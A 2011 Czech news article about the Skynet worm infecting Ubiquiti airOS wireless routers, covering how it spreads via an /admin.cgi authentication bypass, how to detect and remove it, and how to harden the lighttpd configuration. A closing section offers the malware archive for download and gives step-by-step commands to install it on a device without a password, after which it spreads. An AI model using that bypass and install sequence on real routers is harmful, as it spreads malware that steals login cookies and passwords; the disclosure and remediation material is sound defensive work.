Virus v bezdrátových routerech - Skynet

Aktualizováno: Aktualizováno (19. 12. 2011 23:00)
Martin Kratochvíl 19. 12. 2011

Před čtrnácti dny jsme začali řešit zvláštní chování našich bezdrátových routerů, které se náhodně restartovaly. Náš údiv přerostl ve zděšení, když jsem zjistili, že v routerech běží procesy, které v novém zařízení nejsou a nikdo z týmu je tam neinstaloval. A tak jsme poznali virus Skynet.

Virus se naštěstí nešíří úplně ve všech bezdrátových routerech, zas tak „dokonalý“ není, a ke svému životu potřebuje následující:

  • Zařízení od Ubiquiti (nanostation, locostation, atd.)
  • firmware airosu verze 3.6.1, 4.x a 5.x včetně aktuálních verzí – firmware využívá GNU/Linux
  • dalším požadavkem je běh webového rozhraní na portu 80

Výše uvedená zařízení jsou poměrně oblíbená lokálními providery internetu, a tak virus postihl či postihne poměrně dost lidí.

Co vlastně virus způsobuje?

Podařilo se nám zachytit i několik modifikací, ale všechny mají společné:

  • samozřejmě vlastní reprodukci
  • odchytávání přihlašovacích cookies do zařízení a jejich sdělení autorovi viru
  • naslouchání síťovému provozu a identifikaci hesel na portu 80 a jejich sdělení autorovi viru

Kromě jiného virus způsobuje náhodné restarty zařízení, pravděpodobně vyčerpáním volné paměti, ale v jedné modifikaci i cílené restarty WiFi routeru.

Jak virus funguje?

Je potřeba říci, že virus zneužívá kombinaci dvou chyb tvůrců firmware pro zařízení. První chybou je, že v uvedených verzí firmware pro zařízení existuje stránka /admin.cgi, která je samozřejmě chráněná heslem pro nastavení zařízení, ale umožňuje nahrání souboru do zařízení či bezostyšné spuštění příkazu jako root přes webové rozhraní. Tuto stránku bych z produkčního firmware určitě vypustil. Druhou chybou je špatně nastavená konfigurace proprietárního modulu airos pro web server lighttpd, který umožní v případě zadání několika znaků za url zobrazení jakékoliv stránky konfigurace bez znalosti hesla.

Těch několik znaků se dá vypátrat v přiloženém souboru s virem skynet.tgz a záměrně nejsou uváděny přímo v článku.

Díky těmto dvou chybám má virus možnost se snadno šířit bez složitého lámání hesel apod., v podstatě otestuje jednu ip adresu za několik sekund a pomocí cyklu zkouší další a další.

Jak zjistit, že mám zavirované zařízení

zkuste se přihlásit do vašeho zařízení a zobrazit stránku http://ip.ad.re.sa/admin.cgi  – pokud stránka neexistuje, máte tam Skynet, on totiž stránku přejmenuje na  adm.cgi.

Přihlaste se do zařízení přes ssh a zkontrolujte, zda máte v adresáři /etc/persistent skrytý adresář  .skynet.

ssh ubnt@ip.ad.re.sa
ls -la /etc/persistent

Dále můžete zkontrolovat pomocí ssh a příkazu ps, zda běží nc, tcpdump či grep a pokud ano, máte zavirované zařízení.

Jak virus odstranit?

Virus se dá odstranit přihlášením do zařízení pomocí ssh a zadáním následujících příkazů.

#místo ubnt musíte zadat své uživatelské jméno
ssh ubnt@ip.ad.re.sa
cd /etc/persistent
rm rc.poststart
rm -rf .skynet
#po odstranění zapište konfiguraci
cfgmtd -w -p /etc/
reboot

Odstraněním viru se však nezabrání další možné infekci. Virus lze také odstranit pomocí stránky /admin.cgi v zařízení a zadáním výše uvedených příkazů, ale najednou – tedy oddělených středníkem, protože po smazání adresáře skynet dojde k nefunkčnosti webserveru (do restartu).

cd /etc/persistent ;  rm rc.poststart ; rm -rf .skynet ;cfgmtd -w -p /etc/ ; reboot

Jak zabezpečit zařízení?

To je trošku složitější, pokud máte firmware verze 3.6.1 nebo 4.0 použijte verzi 3.6 která používá webserver boa a netrpí tedy neduhem číslo 2 a Skynet se vám do zařízení nedostane. Downgrade ale neodstraní virus ze zařízení.

V první fázi přesuňte webserver na jiný port – získáte trochu času. Pak se rozhodněte, buď si upravíte firmware k obrazu svému – stažením SDK ze stránku výrobce, a pějte chválu na GPL, nebo alespoň zabezpečíte web rozhraní tak, aby nefungovala stránka admin.cgi, protože jí nemůže z komprimovaného firmware v zařízení odstranit.

Jednoduchou opravu provedete následovně, pomocí ssh se přihlásíte do zařízení a zadáte příkazy:

echo "echo 'airos.deny += (\"/admin.cgi/.gif\")' >> /etc/lighttpd.conf' > /etc/persistent/rc.poststart"
echo 'kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`' >> /etc/persistent/rc.poststart
chmod +x /etc/persistent/rc.poststart
cfgmtd -w -p /etc/
reboot

Tímto zapíše do souboru, který se spustí po startu zařízení, aby připsal do konfigurace webserveru direktivu, která zabrání zobrazení stránky, kterou zneužívá Skynet, a poté aby ukončil webserver který je již spuštěn. K opětovnému spuštění webserveru dojde automaticky.

Tyto kroky však nejsou úplné a silně doporučuji upravit konfiguraci souboru /usr/etc/lighttpd/lighttpd.conf, a to sekvenci airos.allow a airos.deny na následující:

airos.deny = (".inc", "~", ".tmpl")
airos.allow = ( "/login.cgi", "/ticket.cgi" )
airos.allow += ("/style.css", "/images/bg.png", "/images/ulogo.skv.gif")
airos.allow += ("/login.css")
airos.deny += ( ".cgi/login.cgi", ".cgi/ticket.cgi")
airos.deny += ( ".cgi/style.css", ".cgi/images/bg.png", ".cgi/images/ulogo.skv.gif")
airos.deny += ( ".cgi/login.css")

Nebo upravit přímo airos modul napsaný pomocí C, ale to již nad mé síly. Ani se mi nepodařilo sestavit firmware od výrobce s podporou regulárních výrazů v konfiguraci lighttpd, což by také zjednodušilo zapsání neprůstřelné konfigurace webserveru.

Pokud si budete sestavovat vlastní firmware, doporučuji vyjít pro řady 5.x z SDK 5.3.3 opravit konfiguraci lighttpd a pro jistotu nahradit soubor admin.cgi prázdným souborem. Pro běžné používání zařízení totiž není potřeba.

A hromadné řešení?

Pokud máte několik zařízení, upravte si je ručně, pokud jich máte ale ve správě stovky, pak doporučuji si sestavit vlastní firmware a ten na zařízení nahrát buď pomocí ubnt AirControl centra nebo pomocí skriptů na http://dren.dk/u­bi.html, ale ty potřebují lehce přiohnout.

Samotný virus pro experimenty

Pokud chcete experimentovat, můžete si virus stáhnout (skynet.tgz). Zde je návod, jak ho dostat do zařízení (a aktivovat) bez znalosti hesla. Experimentujete na vlastní nebezpečí!

  1. V ubnt zařízení zobrazit http://ip.ad.re­.sa/admin.cgi/­.gif
  2. nahrát soubor skynet.tgz
  3. mv /tmp/upload/skynet.tgz /etc/persistent/
  4. cd /etc/persistent/ ; tar -xvzf /etc/persistent/skynet.tgz
  5. /etc/persistent/.skynet/install
  6. Zařízení se poté restartuje a virus se začne šířit.

Závěr

Výrobce jsme o chybě informovali již před čtrnácti dny, ale dosud na naše upozornění nereagoval ani nevydal opravný firmware (opravený airos modul pro lighttpd). Naštěstí díky GPL licenci máme přístup ke zdrojovým kódům, a tak jsme si mihli sestavit vlastní firmware, který chybou netrpí.

Aktualizováno

Jsme ve spojení se společností Ubiquiti, která se k celému případu vyjádřila. Podle slov jejich zástupců firma o incidentu vůbec nevěděla, protože e-maily Martina Kratochvíla o bezpečnostní díře končily ve spamu.

Firma se tedy o všem prý dozvěděla až z vlastního fóra, kde někdo odkázal náš článek. Podle vyjádření firmy by oprava měla trvat jediný den a uživatelé dostanou novou verzi firmware, která bezpečnostní chybu odstraní.

Aktualizováno podruhé

Jak společnost slíbila, tak učinila, k dispozici je nová verze firmware pro Wi-Fi routery, která opravuje zmíněnou zranitelnost a zabraňuje tak Skynetu i dalším podobným virům zařízení ovládnout.

Našli jste v článku chybu?
Podnikatel.cz: Selhala pokladna k EET. Kdo zaplatí pokutu?

Selhala pokladna k EET. Kdo zaplatí pokutu?

Vitalia.cz: Pepsi Cola mění sirup za cukr

Pepsi Cola mění sirup za cukr

120na80.cz: Otestujte klíště na boreliózu z domova

Otestujte klíště na boreliózu z domova

Měšec.cz: Se stavebkem k soudu už (většinou) nemusíte

Se stavebkem k soudu už (většinou) nemusíte

120na80.cz: I tuto vodu můžete pít

I tuto vodu můžete pít

Vitalia.cz: Taky je nosíte? Barefoot není pro každého

Taky je nosíte? Barefoot není pro každého

Lupa.cz: eIDAS: Nepřehnali jsme to s výjimkami?

eIDAS: Nepřehnali jsme to s výjimkami?

Podnikatel.cz: Hlášení k DPH online? Pozor na lhůty

Hlášení k DPH online? Pozor na lhůty

Lupa.cz: Největší torrentový web KickassTorrents padl

Největší torrentový web KickassTorrents padl

Měšec.cz: Investice do drahých kovů - znáte základní chyby?

Investice do drahých kovů - znáte základní chyby?

Podnikatel.cz: Italské těstoviny nebyly k mání, tak je začal vyrábět

Italské těstoviny nebyly k mání, tak je začal vyrábět

Podnikatel.cz: Polská vejce na českém pultu Albertu

Polská vejce na českém pultu Albertu

DigiZone.cz: Oživení ekonomiky by mělo navýšit reklamu

Oživení ekonomiky by mělo navýšit reklamu

Vitalia.cz: Nejdůležitější změny v potravinářské novele

Nejdůležitější změny v potravinářské novele

Vitalia.cz: Signál roztroušené sklerózy: brnění končetin

Signál roztroušené sklerózy: brnění končetin

Měšec.cz: Ceny PHM v Evropě. Finty na úspory

Ceny PHM v Evropě. Finty na úspory

Měšec.cz: Udali ho na nelegální software a přišla Policie

Udali ho na nelegální software a přišla Policie

Vitalia.cz: Bio vejce nepoznají ani veterináři

Bio vejce nepoznají ani veterináři

Měšec.cz: Kurzy platebních karet: vyplatí se platit? (TEST)

Kurzy platebních karet: vyplatí se platit? (TEST)

Podnikatel.cz: Za červen to zabalila více jak stovka firem

Za červen to zabalila více jak stovka firem